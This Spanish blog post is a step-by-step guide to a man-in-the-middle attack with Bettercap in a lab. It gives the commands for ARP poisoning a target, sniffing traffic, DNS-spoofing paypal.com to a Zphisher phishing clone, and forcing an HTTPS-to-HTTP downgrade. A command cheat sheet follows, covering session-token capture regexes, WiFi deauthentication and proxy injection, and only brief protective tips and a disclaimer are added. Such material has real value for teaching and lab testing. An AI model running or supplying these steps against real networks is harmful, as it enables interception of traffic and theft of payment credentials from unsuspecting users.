Post

Man in The Middle Attack

Guía de como llevar a cabo un ataque MiTM con Bettercap

Man in The Middle Attack

¿Qué es un MiTM?

Un ataque de intermediario (MITM por sus siglas en inglés “Man-in-the-middle”) es un ataque donde el atacante secretamente retransmite y posiblemente altera las comunicaciones entre dos dispositivos que creen estar comunicándose directamente entre sí. Para realizar un ataque de intermediario, necesitamos estar en la misma red que nuestra víctima ya que tenemos que engañar a estos dos dispositivos.

Por ejemplo:

  1. Imagina que el Dispositivo A quiere comunicarse con el Dispositivo B (puede ser tu computadora tratando de acceder a un sitio web)

  2. El atacante se posiciona en medio y:
    • Intercepta los mensajes que envía A hacia B
    • Puede leer toda la información que pasa
    • Puede modificar los mensajes antes de pasarlos
    • Tanto A como B piensan que están hablando directamente entre sí
  3. ¿Por qué es peligroso?
    • El atacante puede robar información sensible (contraseñas, datos bancarios)
    • Puede modificar la información que se transmite
    • Puede suplantar la identidad de cualquiera de los dos dispositivos
  4. ¿Cómo se realiza técnicamente?
    • El atacante debe estar en la misma red que la víctima
    • Usa herramientas como bettercap para:
      • Interceptar el tráfico de red
      • Redirigir la comunicación a través de su dispositivo
      • Analizar los paquetes de datos que pasan
  5. Medidas de protección:
    • Usar conexiones cifradas (HTTPS)
    • No conectarse a redes WiFi públicas o no confiables
    • Utilizar una VPN
    • Mantener actualizados los sistemas y software

Iniciando Bettercap

Selección de interfaz de red

Necesitamos seleccionar la interfaz que se encuentre conectada a la misma red que nuestro objetivo.

1
ip a

Cuando sepamos la interfaz iniciaremos bettercap.

1
bettercap --iface eth0

betterini

Ayuda

Para poder ver los servicios de bettercap que estan activos en este momento. Ahora mismo solo encontraremos el visor de eventos.

betterhelp

Escaneando la red

1
net.probe on

Mediante este comando vamos a realizar un escaneo de hosts dentro de la red. Este escaneo incluye IPs, MACs e incluso nombre del fabricante (vendor names).

netprobe

En este caso nos vamos a centrar en esta dirección que nos indica al parecer que se trata de una maquina gestionada por Proxmox (que es nuestro caso).

Tambén podemos mostrar en forma de tabla todos los dispositivos identificados en la red.

1
net.show

netshow

Nota: Aqui podemos ver el gateway de la red (router) y los dispositivos listados en orden ascendente

ARP Spofing

¿De que se trata?

  1. En una red normal, ARP relaciona direcciones IP con direcciones MAC (físicas) El atacante envía mensajes ARP falsos diciendo:
  • “Yo soy el router” (al dispositivo víctima)
  • “Yo soy el dispositivo” (al router)
  1. Esto hace que:

La víctima envíe todo su tráfico al atacante pensando que es el router El router envíe sus respuestas al atacante pensando que es la víctima

  1. Como resultado:

Todo el tráfico pasa por el atacante El atacante puede ver y modificar la información Ni la víctima ni el router se dan cuenta

Configurando el ARP spoofing

Una vez localizado nuestro objetivo en la red es momento de envenear su ARP cache y la del gateway de la red.

Para esto vamos a utilizar el siguiente comando

1
arp.spoof help

arpspoofhelp

Como indica la ayuda en este caso necesitamos indicar el modo fullduplex.

1
set arp.spoof.fullduplex true

Ahora le vamos a indicar la ip del objetivo

1
set arp.spoof.targets 192.168.100.222

Iniciando el ARP Spoofing

1
arp.spoof on

Net sniffing

Una vez estamos envenenando las ARP caches de ambos gatway y objetivo ahora podemos visualizar todas las comunicaciones entre los dispositivos ya que estas serán redirigidas a través de nuestra máquina.

En este punto tenemos dos opciones:

  1. Usar los datos del sniffer incorporado en bettercap
  2. Utilizar otros como Wireshark o TCPDump

Sea cual sea la elección primero hay que indicar a bettercap que haga una captura de todo el tráfico.

1
net.sniff on

Una vez hecho podremos ver las peticiones realizadas por el objetivo.

Si además capturamos con algun software como wireshark podremos tener con más detalle todo el tráfico de datos entre ambos puntos.

netsniffon

En esta captura podemos ver marcados en rojo los diferentes tipos de datos en los que se diferencian los enviados desde el cliente al servidor y los recibidos por el cliente desde el servidor.

Los indicados como “sniff” son los datos que se envían desde el cliente al servidor, mientras que los indicados como “dns” son las respuestas que el servidor envía al cliente. En estos últimos podemos ver como va resolviendo las peticiones y se indican las IPs de los servidores DNS que se utilizan.

En los datos proporcionados por bettercap se observa todo el tráfico de datos en transito entre el cliente y el servidor por lo que filtrar puede ser bastante difícil, es por eso que se aconseja utilizar otros sniffers como wireshark para poder capturar, filtrar y analizar el tráfico de datos.

DNS spoofing

Es una técnica donde se manipulan las respuestas DNS para redirigir el tráfico.

  • Proceso normal de DNS:

    • Un usuario escribe www.ejemplo.com
    • Su dispositivo pregunta al servidor DNS “¿Cuál es la IP de www.ejemplo.com?”
    • El servidor DNS responde con la IP correcta
  • Durante DNS Spoofing:

    • El atacante intercepta la consulta DNS
    • Envía una respuesta falsa antes que el servidor DNS real
    • Asocia el dominio con una IP maliciosa
    • El usuario es redirigido a un sitio falso

Para este proceso realizaremos lo siguiente:

  1. Crear un portal falso servido desde nuestra máquina linux
  2. Seleccionar el dominio real que será reemplazado por el malicioso
  3. Comenzar el envenenamiento de DNS hacia el objetivo

Seleccionar dominio y redirección

1
2
set dns.spoof.domains paypal.com
set dns.spoof.address 192.168.100.210

En este caso estamos seleccionando el dominio paypal.com y la redirección a la IP de mi máquina kali.

Como estoy haciendo uso de un servicio que solo puedo ver de forma local en mi kali (zphisher), vamos a redireccionar el tráfico del puerto 8080 local al 80 en mi interfaz compartida con la maquina objetivo

Nota: Tambien cuenta con el comando dns.spoof.ttl para configurar el tiempo de vida que la dns queda guardada en cache, a menor valor más rápido se va a recargar.

1
2
# Redirige de tu IP:puerto a localhost:puerto
socat TCP-LISTEN:80,bind=192.168.100.210,fork TCP:127.0.0.1:8080

Ahora que tenemos listo el portal falso podemos iniciar el DNS Spoofing.

Consejo: Si como en este caso el servicio es servido de forma local es importante saber que nuestra máquina kali también debe reconocer el dominio paypal.com como 192.168.100.210 por lo que debemos añadir esta indicación en el archivo /etc/hosts

Iniciar el DNS Spoofing

1
dns.spoof on

Si todo ha sido configurado correctamente al intentar acceder a 192.168.100.40 desde el objetivo vamos a tener un error de conexión.

dnspoof

Esto se debe a que los navegadores modernos obligan a que los usuarios tengan una conexión segura a través de HTTPS, pero esto no es problema ya que podemos obligar a que la conexión sea HTTP.

Configurar HTTPS downgrade

  1. Activamos el modulo en bettercap
1
hstshijack/hstshijack on

hstshijack

  1. Configuramos el dominio a interceptar
1
set hstshijack.targets paypal.com
  1. Forzamos el downgrade a Http
1
set hstshijack.replacements 192.168.100.210:443,192.168.100.210:80

Con esto listo deberiamos tener acceso al clon de paypal desde nuestro objetivo.

Revisando el tráfico

portalfalso

dnsspoof

Como vemos aquí el objetivo ha sido redirigido a nuestra máquina kali y hemos podido realizar un ataque de phishing.

Zphisher

Lista de comandos

Bettercap tiene una gran cantidad de comandos que pueden ser utilizados para realizar diversos ataques.

ARP Spoofing

ComandoDescripciónEjemplo
arp.spoofEnvía ARP falsosarp.spoof on
set dns.spoof.domainsConfigura el dominio a interceptarset dns.spoof.domains paypal.com
set dns.spoof.addressConfigura la IP del objetivoset dns.spoof.address 192.168.100.210
set arp.spoof.ipv6Configura la IPv6 para el ARP spoofingset arp.spoof.ipv6 on

DNS Spoofing

ComandoDescripciónEjemplo
dns.spoofEnvía respuestas falsas a las consultas DNSdns.spoof on
set dns.spoof.domainsConfigura el dominio a interceptarset dns.spoof.domains paypal.com
set dns.spoof.addressConfigura la IP del objetivoset dns.spoof.address 192.168.100.210
set dns.spoof.ttlConfigura el tiempo de vida de la cacheset dns.spoof.ttl 10

Net sniffing

ComandoDescripciónEjemplo   
net.sniffCaptura todos los tráfico de rednet.sniff on   
net.showMuestra información sobre la rednet.show   
net.probeProba la conectividad de la rednet.probe on   
set net.sniff.regexpConfigura la expresión regular para capturar el tráficoset net.sniff.regexp (session=sessid=token=PHPSESSID=)([^\s]*)’
set net.sniff.filter tcp portConfigura el filtro para capturar el tráficoset net.sniff.filter tcp port 80   
set net.sniff.output captura.pcapConfigura el archivo de salida para guardar el tráfico capturadoset net.sniff.output captura.pcap   
set net.sniff.nbnsActiva el sniffing de NetBIOSset net.sniff.nbns true   
set net.probe.nbnsActiva el reconocimiento de NetBIOSset net.probe.nbns true   
  • Tráfico NetBIOS que incluye:

    • Resolución de nombres de equipos Windows
    • Compartición de archivos
    • Servicios de impresión

HTTPS Hijacking

ComandoDescripciónEjemplo
hstshijackPara hacer un downgrade de HTTPS a HTTPhstshijack on
set hstshijack.targetsConfigura el dominio a interceptarset hstshijack.targets paypal.com
set hstshijack.replacementsConfigura la redirección a la IP del objetivoset hstshijack.replacements 192.168.100.210:443,192.168.100.210:80

Proxy Http/Https

ComandoDescripciónEjemplo
set http.proxy.portConfigura el puerto del proxyset http.proxy.port 8080
set http.proxy.addressConfigura la IP del proxyset http.proxy.address 192.168.100.210
set http.proxy.typeConfigura el tipo de proxyset http.proxy.type http
set https.proxy.portConfigura el puerto del proxyset https.proxy.port 8083
set https.proxy.addressConfigura la IP del proxyset https.proxy.address 192.168.100.210
set https.proxy.typeConfigura el tipo de proxyset https.proxy.type https
set http.proxy.scriptConfigura un script para la redirecciónset http.proxy.script /ruta/al/script.js
  • Intercepta específicamente tráfico HTTP/HTTPS
  • Permite ver y modificar peticiones web
  • Útil para:

    • Analizar tráfico web
    • Modificar contenido de páginas
    • Interceptar credenciales web

Proxy TCP

ComandoDescripciónEjemplo
set tcp.proxy.portConfigura el puerto del proxyset tcp.proxy.port 443
set tcp.proxy.addressConfigura la IP del proxyset tcp.proxy.address 192.168.100.210
tcp.proxy onActiva el proxy TCPtcp.proxy on
  • Intercepta cualquier tráfico TCP
  • Más general que HTTP proxy
  • Útil para:

    • Interceptar tráfico de cualquier protocolo TCP
    • Redirigir conexiones
    • Bloquear DoH (DNS over HTTPS)

WiFi

ComandoDescripciónEjemplo
wifi.recon onActiva el WiFi reconocimientowifi.recon on
wifi.recon.channelConfigura el canal WiFiwifi.recon.channel 11
wifi.showMuestra la configuración WiFi actualwifi.show
wifi.deauthEnvía una petición de desautenticación WiFiwifi.deauth on

Bluetooth

ComandoDescripciónEjemplo
ble.recon onActiva el reconocimiento de dispositivos Bluetoothble.recon on
ble.showMuestra la configuración Bluetooth actualble.show
ble.enum MAC_ADDRESSEnumera los servicios y características de un dispositivo Bluetoothble.enum 00:11:22:33:44:55

Advertencia: El contenido de esta sección es meramente informatio y con fines educativos. No se debe utilizar para realizar ataques de manera maliciosa. No me responsabilizo del mal uso de este contenido.

This post is licensed under CC BY 4.0 by the author.